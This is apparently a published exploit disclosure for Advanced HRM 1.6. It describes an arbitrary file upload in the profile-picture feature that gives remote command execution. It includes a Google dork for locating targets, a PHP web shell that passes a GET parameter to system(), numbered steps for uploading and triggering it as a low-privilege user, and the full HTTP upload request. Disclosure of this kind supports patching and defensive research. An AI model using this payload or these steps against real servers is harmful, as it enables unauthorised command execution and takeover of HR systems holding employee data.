Advanced HRM 1.6 – Remote Code Execution
# Exploit Title: Advanced HRM 1.6 - Remote Code Execution # Google Dork: intext:"Advanced HRM" # Date: 2018-10-06 # Exploit Author: Renos Nikolaou # Vendor Homepage: https://coderpixel.com/ # Software Link: https://codecanyon.net/item/advanced-hrm/17767006 # Version: 1.6 # Tested on: Windows 10 # CVE: N/A # Description : Advanced HRM 1.6 allows users to upload arbitrary files which # leads to a remote command execution on the remote server. # PoC # 1) Create a php file with the below code: <?php $cmd=$_GET['cmd']; system($cmd); ?> # 2) Login to Advanced HRM portal as low priviliage user # 3) At the right hand side go to Update Profile --> Change Picture ( http://domain/hrm/user/edit-profile ) # 4) Click Browse and upload your file containing the PHP code mentioned at step 1. # 5) Click Update # 6) Right click at the Profile image and select Copy image Location # 7) Paste the URL into your browser. Will be similar to: http://domain/hrm/assets/employee_pic/cmd.php # 8) Verify the exploit: http://domain/hrm/assets/employee_pic/cmd.php?cmd=id # The request: =================== POST /hrm/user/update-user-avatar HTTP/1.1 Host: domain User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://domain/hrm/user/edit-profile Content-Type: multipart/form-data; boundary=---------------------------6610657524685 Content-Length: 378 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------6610657524685 Content-Disposition: form-data; name="image"; filename="cmd.php" Content-Type: application/octet-stream <?php $cmd=$_GET['cmd']; system($cmd); ?> -----------------------------6610657524685 Content-Disposition: form-data; name="_token" yWFLEpnGV1n5OzK7sAPWg6UVJG02Q -----------------------------6610657524685-- |